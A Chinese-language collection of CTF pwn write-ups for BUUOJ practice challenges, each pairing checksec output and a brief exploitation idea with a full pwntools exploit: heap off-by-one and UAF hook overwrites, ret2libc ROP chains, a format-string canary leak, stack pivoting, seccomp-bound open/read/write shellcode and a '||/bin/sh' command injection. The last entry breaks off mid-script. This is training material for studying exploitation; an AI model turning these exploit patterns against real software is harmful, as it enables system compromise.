[V&N2020 公开赛]simpleHeap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

利用Off By One 从而实现chunk extend,继而可以引起堆块重叠,改realloc_hook为one_gadget,改malloc_hook为realloc+offset进行调整栈结构以满足one_gadget利用条件

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#! /usr/bin/env python

from pwn import *

#sh=process('./vn_pwn_simpleHeap')
sh=remote('node3.buuoj.cn',29585)
libc=ELF('./libc-2.23.so')
#context.log_level='debug'

def add(size,content):
sh.recvuntil('choice: ')
sh.sendline('1')
sh.recvuntil('size?')
sh.sendline(str(size))
sh.recvuntil('content:')
sh.sendline(content)

def free(index):
sh.recvuntil('choice: ')
sh.sendline('4')
sh.recvuntil('idx?')
sh.sendline(str(index))

def show(index):
sh.recvuntil('choice: ')
sh.sendline('3')
sh.recvuntil('idx?')
sh.sendline(str(index))

def edit(index,content):
sh.recvuntil('choice: ')
sh.sendline('2')
sh.recvuntil('idx?')
sh.sendline(str(index))
sh.recvuntil('content:')
sh.sendline(content)

add(0x18,'L0ne1y') #0
add(0x68,'L0ne1y') #1
add(0x68,'L0ne1y') #2
add(0x10,'L0ne1y') #3
edit(0,'a'*0x18+'\xe1')
free(1)

add(0x68,'L0ne1y') #1
show(2)
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0x4526a
sh.success('one_agdget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['__libc_realloc']
sh.success('realloc : ' +hex(realloc))

fake_chunk=malloc_hook-0x23
sh.success('fake_chunk : ' +hex(fake_chunk))
add(0x60,'a'*8) #4
free(3)
free(2)
edit(4,p64(fake_chunk)+'\n')
add(0x60,'a'*8) #2
add(0x60,'a'*3+'a'*8+p64(one_gadget)+p64(realloc+0xd)+'\n') #3

sh.recvuntil('choice: ')
sh.sendline('1')
sh.recvuntil('size?')
sh.sendline('32')

#gdb.attach(sh)

sh.interactive()

level3_x64

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

没啥好说了,干就完了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./level3_x64')
sh=remote('node3.buuoj.cn',28777)
elf=ELF('./level3_x64')
context.log_level='debug'

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
pop_rdi=0x00000000004006b3
pop_rsi_r15=0x00000000004006b1

payload='a'*0x88+p64(pop_rdi)+p64(0x1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload)

write_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('write_addr : ' +hex(write_addr))
#gdb.attach(sh)

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload='a'*0x88+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.sendline(payload)

sh.interactive()

hitcontraining_uaf

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

程序有现成的后门。其他的利用uaf

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#! /usr/bin/env python

from pwn import *

sh=remote('node3.buuoj.cn',25411)
#sh=process('./hacknote')
elf=ELF('./hacknote')
context.log_level='debug'
magic=0x08048945

def add(size,content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Note size :')
sh.sendline(str(size))
sh.recvuntil('Content :')
sh.send(content)

def free(index):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index :')
sh.sendline(str(index))

def show(index):
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Index :')
sh.sendline(str(index))

add(0x20,'L0ne1y') #0
add(0x20,'L0ne1y') #1
free(1)
free(0)
add(0x8,p64(magic))
show(1)
#gdb.attach(sh)

sh.interactive()

picoctf_2018_rop chain

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

没啥说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./PicoCTF_2018_rop_chain')
sh=remote('node3.buuoj.cn',27742)
elf=ELF('./PicoCTF_2018_rop_chain')
context.log_level='debug'

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
format_addr=0x080488CD
main_addr=0x0804873B

payload='a'*0x18+'a'*4+p32(printf_plt)+p32(main_addr)+p32(format_addr)+p32(printf_got)

sh.sendline(payload)

sh.recvuntil('Enter your input> ')
printf_addr=u32(sh.recv(4))
sh.success('printf_addr : ' +hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
sh.success('libc_base : ' +hex(libc_base))

payload='a'*0x18+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
sh.sendline(payload)

#gdb.attach(sh)


sh.interactive()

ZJCTF 2019EasyHeap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

edit函数没有检查输入size,可以造成堆溢出,改free_got为system然后free掉就可以了。一开始被程序中的flag骗了,出题人太坏了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#! /usr/bin/env python

from pwn import *

#sh=process('./easyheap')
sh=remote('node3.buuoj.cn',26756)
context.log_level='debug'
elf=ELF('./easyheap')

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def edit(index,size,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.sendline(content)

def free(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.send(str(index))

fake_chunk=0x6020b5
free_got=elf.got['free']
system_plt=elf.plt['system']
sh.success('fake_chunk : ' +hex(fake_chunk-8))

add(0x20,'/bin/sh\x00') #0
add(0x60,'L0ne1y') #1
add(0x60,'L0ne1y') #2
free(2)
free(1)
edit(0,0x38,'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk-0x8))
add(0x60,'/bin/sh\x00') #1
add(0x60,'b'*3+p64(0)*4+p64(free_got)) #2
edit(0,0x8,p64(system_plt))
free(1)

#gdb.attach(sh)

sh.interactive()

jarvisoj_test_your_memory

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

需要注意返回地址随便写个无效地址会出现读不出来flag的问题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python

from pwn import *

#sh=process('./memory')
sh=remote('node3.buuoj.cn',25417)
elf=ELF('./memory')
context.log_level='debug'

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
flag_addr=0x080487E0
system_plt=elf.plt['system']
main_addr=0x08048677

#sh.recvuntil('> ')
payload='a'*0x13+'a'*4+p32(system_plt)+p32(main_addr)+p32(flag_addr)
sh.sendline(payload)

sh.interactive()

bjdctf_2020_babyrop2

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

格式化字符串泄露canary,然后栈溢出

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#! /usr/bin/env python

from pwn import *

#p = process('./bjdctf_2020_babyrop2')
p=remote('node3.buuoj.cn',26807)
elf = ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug'

p.recv()
payload = '%7$p'
p.sendline(payload)
p.recvuntil('0x')
cancry = int(p.recv(16),16)

puts_plt = 0x0400610
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
ret_addr = 0x0400887

sleep(1)
payload = p64(cancry)
payload = payload.rjust(0x20,'a')
payload += 'bbbbbbbb'
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret_addr)
p.recvuntil('story!\n')
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

base_addr = puts_addr - 0x06f690
shell_addr = base_addr + 0x45216
p.recvuntil('story!\n')
payload = p64(cancry)
payload = payload.rjust(0x20,'a')
payload += 'bbbbbbbb'
payload += p64(shell_addr)
p.sendline(payload)
p.interactive()

ZJCTF 2019Login

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

c++写的程序,逆向分析好难,参考了其他师傅的wp,输入密码后发现段错误,发现和rax有关,倒推 rax 的来源,在 main 函数中把 rax 的来源覆盖为漏洞函数的地址即可 get shell

exp如下:

1
2
3
4
5
6
7
8
9
10
#! /usr/bin/env python

from pwn import *

sh = remote('node3.buuoj.cn',27732)

shell = 0x400e88
sh.sendlineafter(': ','admin')
sh.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*58+p64(shell))
sh.interactive()

roarctf_2019_easy_pwn

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

off by one 漏洞,通过将one_gadget写入realloc_hook,将realloc+offest写入malloc_hook来getshell。但是我在本地可以打通远程就不可以,换了libc也不行,好烦。如果有哪位师傅知道是什么原因,跪求。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#! /usr/bin/env python

from pwn import *

sh=process('./roarctf_2019_easy_pwn')
#sh=remote('node3.buuoj.cn',25506)

elf=ELF('./roarctf_2019_easy_pwn')
#context.log_level='debug'
libc=elf.libc

def add(size):
sh.recvuntil(': ')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))

def edit(index,size,content):
sh.recvuntil(': ')
sh.sendline('2')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.send(content)

def free(index):
sh.recvuntil(': ')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))

def show(index):
sh.recvuntil(': ')
sh.sendline('4')
sh.recvuntil(': ')
sh.sendline(str(index))


add(0x18) #0
add(0x60) #1
add(0x60) #2
add(0x10) #3
edit(0,0x18+10,'a'*0x18+'\xe1')
free(1)
add(0x60) #1
show(2)
sh.recvuntil(': ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0x4527a
sh.success('one_gadget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['__libc_realloc']


add(0x60) #4==>2
free(4)
fake_chunk=malloc_hook-0x23
sh.success('fake_chunk : ' +hex(fake_chunk))
edit(2,0x8,p64(fake_chunk))
add(0x60) #4
add(0x60) #5
edit(5,0x1b,'a'*3+p64(0)+p64(one_gadget)+p64(realloc))
add(0x10)

#gdb.attach(sh)

sh.interactive()

bjdctf_2020_router

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

考察linux命令,原理就不讲了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python

from pwn import *

sh=remote('node3.buuoj.cn',29106)

payload='||/bin/sh'

sh.recvuntil('Please input u choose:\n')
sh.sendline('1')
sh.sendline(payload)

sh.interactive()

cmcc_simplerop

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

rop利用,利用0x80中断。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python

from pwn import *

#p = process('./simplerop')
p=remote('node3.buuoj.cn',26823)
context.log_level = 'debug'
p.recv()
int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850

payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()

ciscn_2019_n_3

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

uaf利用,覆盖free指针为system。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#! /usr/bin/env python

from pwn import *

sh=remote("node3.buuoj.cn",25283)
#sh=process('./ciscn_2019_n_3')

context.log_level='debug'
def add1(index,integer):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(index))
sh.recvuntil("Type > ")
sh.sendline("1")
sh.recvuntil("Value > ")
sh.sendline(str(integer))
def add2(index,size,content):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(index))
sh.recvuntil("Type > ")
sh.sendline("2")
sh.recvuntil("Length > ")
sh.sendline(str(size))
sh.recvuntil("Value > ")
sh.sendline(content)
def show(index):
sh.recvuntil("CNote > ")
sh.sendline("3")
sh.recvuntil("Index > ")
sh.sendline(str(index))
def delete(index):
sh.recvuntil("CNote > ")
sh.sendline("2")
sh.recvuntil("Index > ")
sh.sendline(str(index))
system_plt=0x08048500
add1(0,1)
add1(1,2)
add1(2,3)
delete(0)
delete(1)
payload="sh\x00\x00"+p32(system_plt)
add2(3,0xc,payload)
delete(0)
#gdb.attach(sh)

sh.interactive()

picoctf_2018_buffer overflow 1

checksec检查:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

利用:

没啥好说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /usr/bin/env python

from pwn import *

#sh=process('./PicoCTF_2018_buffer_overflow_1')
sh=remote('node3.buuoj.cn',29794)

elf=ELF('./PicoCTF_2018_buffer_overflow_1')

payload='a'*0x28+'a'*4+p32(0x080485CB)

sh.sendline(payload)

sh.interactive()

pwnable orw

checksec检查:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

seccomp检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
L0ne1y@L0ne1y:~/pwn/buu/pwnable_orw$ seccomp-tools dump ./orw 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

利用:

IDA查看程序发现是一道seccomp练习。参考了几位师傅的博客,学习了一波(太菜了)

什么是seccomp

用自己的话来说,就是说seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.

我这里给出俩种利用方法,一种是自己写系统调用的汇编,另一种是使用pwntools自带的shellcraft

1
2
3
4
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
; open('/home/orw/flag',0) 这里的0是指O_RDONLY:   
xor ebx,ebx
xor ecx,ecx
xor edx,edx
push ebx ;截断字符串
push 0x67616c66 ;flag
mov ebx,esp
xor eax,eax
mov al,0x5
int 0x80

; read(3,esp,0x40)
mov ebx,0x3 ; 这里fd是3的原因是open后返回的fd是3
mov ecx,esp
mov edx,0x40
mov al,0x3
int 0x80

;write(1,esp,0x40)
mov ebx,0x1
mov al,0x4
int 0x80

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#sh = process('./orw')
sh = remote('node3.buuoj.cn',28268)
context.log_level='debug'
sh.recvuntil('Give my your shellcode:')

#open
shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;mov ebx,esp;mov al,0x5;int 0x80;")
#read
shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;")
#write
shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;")

sh.sendline(shellcode)
sh.interactive()

jarvisoj_level1

checksec检查:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

利用:

本地和远程不太一样。

exp如下:

本地
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python

from pwn import *

sh=process('./level1')
#sh=remote('node3.buuoj.cn',28253)
context.arch='i386'
context.log_level='debug'
elf=ELF('./level1')

sh.recvuntil("0x")
buf_addr=int(sh.recv(8),16)
sh.success('buf_addr : ' +hex(buf_addr))

shellcode = asm(shellcraft.sh())

payload=shellcode+'a'*(0x88+0x4-len(shellcode))+p32(buf_addr)

sh.sendline(payload)
sh.interactive()
远程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *


#sh=process('./level1')
sh=remote('node3.buuoj.cn',28253)
context.arch='i386'
context.log_level='debug'
elf=ELF('./level1')

write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
payload = 'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)

sh.sendline(payload)

read_addr=u32(sh.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload='a'*0x88+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
sh.sendline(payload)
sh.interactive()

PicoCTF_2018_buffer_overflow_2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

栈溢出,本地和远程不太一样

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *


#sh=process('./PicoCTF_2018_buffer_overflow_2')
sh=remote('node3.buuoj.cn',26509)
context.arch='i386'
context.log_level='debug'
elf=ELF('./PicoCTF_2018_buffer_overflow_2')

puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
puts_got = elf.got['puts']
payload = 'a' * (0x6c + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)

sh.recvuntil('\n')
sh.sendline(payload)
#gdb.attach(sh)
puts_addr=u32(sh.recvuntil('\xf7')[-4:])
sh.success('puts_addr : ' +hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
sh.sendline(payload)
sh.interactive()

xdctf2015_pwn200

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

没啥说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *


#sh=process('./bof')
sh=remote('node3.buuoj.cn',25428)
context.log_level='debug'
elf=ELF('./bof')

write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
payload = 'a' * (0x6c + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)

sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload)

read_addr=u32(sh.recv(4))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
sh.recvuntil('\n')
sh.sendline(payload)
sh.interactive()

gyctf_2020_borrowstack

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

栈迁移,注意bss段距离got地址很近,需要太高地址,否则got会被覆盖,不可以用system,会有错误。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

sh=remote('node3.buuoj.cn','29211')

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

sh.recvuntil('u want')
payload1='a'*0x60+p64(bank)+p64(leave)
sh.send(payload1)
sh.recvuntil('now!')
payload2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sh.send(payload2)
sh.recvline()
puts_add=u64(sh.recv(6).ljust(8,'\x00'))
libc_base=puts_add-0x06f690
one_gadget=libc_base+0x4526a
payload3='a'*0x60+'bbbbbbbb'+p64(one_gadget)
sh.send(payload3)
sh.send('a')

sh.interactive()

[V&N2020 公开赛]warmup

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

seccomp检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

利用:

开启了seccomp保护,只能利用orw了,发现第一次输入的内容,在第二次输入内容的下方,距离第二个ret结束就是第一次的栈。

exp如下:

这里的ROP是通过ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”查找的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *


p = remote('node3.buuoj.cn',29489)

p.recvuntil("0x")
puts_addr=int(p.recv(12),16)
libc=ELF("./libc-2.23.so")
libcbase_addr=puts_addr-libc.symbols['puts']
#mov_rdi_rsi_ret=libcbase_addr+libc.search(asm("mov rdi,r13\nret")).next()


pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92
open_addr=libcbase_addr+libc.symbols['open']
free_hook=libcbase_addr+libc.symbols['__free_hook']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']


payload=p64(0)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(4)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(pop_rsi_ret)+p64(4)+p64(open_addr)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(puts_addr)
p.sendafter("Input something: ",payload)
p.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
p.send("flag")
p.interactive()

bbys_tu_2016

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

偏移和IDA中的看的不一样,IDA不能全信啊

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/env python

from pwn import *


#sh=process('./bbys_tu_2016')
sh=remote('node3.buuoj.cn',25461)
flag_addr=0x0804856D

payload='a'*24+p32(flag_addr)
#sh.recvuntil('This program is hungry. You should feed it.\n')

sh.sendline(payload)

sh.interactive()

wustctf2020_getshell

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

没啥好说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /usr/bin/env python

from pwn import *


#sh=process('./wustctf2020_getshell')
sh=remote('node3.buuoj.cn',26036)
flag_addr=0x0804851B

payload='a'*0x18+'a'*4+p32(flag_addr)

sh.sendline(payload)

sh.interactive()

ciscn_2019_final_3

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

double free漏洞,修改一个chunk的size大于0x421,这样free的chunk就进入了unsortedbin,,此时我们再修改回小于tache最大值的大小,这样我们再将其串回tache中,可以地址分配到main_arena中,就可以泄露libc地址。之后就是将free_hook写system。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#! /usr/bin/env python

from pwn import *

sh=process('./ciscn_final_3')
#sh=remote('node3.buuoj.cn',27802)
#context.log_level='debug'
libc=ELF('./libc.so.6')
def add(index, size, content):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('input the index\n')
sh.sendline(str(index))
sh.recvuntil('input the size\n')
sh.sendline(str(size))
sh.recvuntil('now you can write something\n')
sh.send(content)

def free(index):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('input the index\n')
sh.sendline(str(index))



add(0,0x10,'a'*8)
sh.recvuntil("gift :0x")
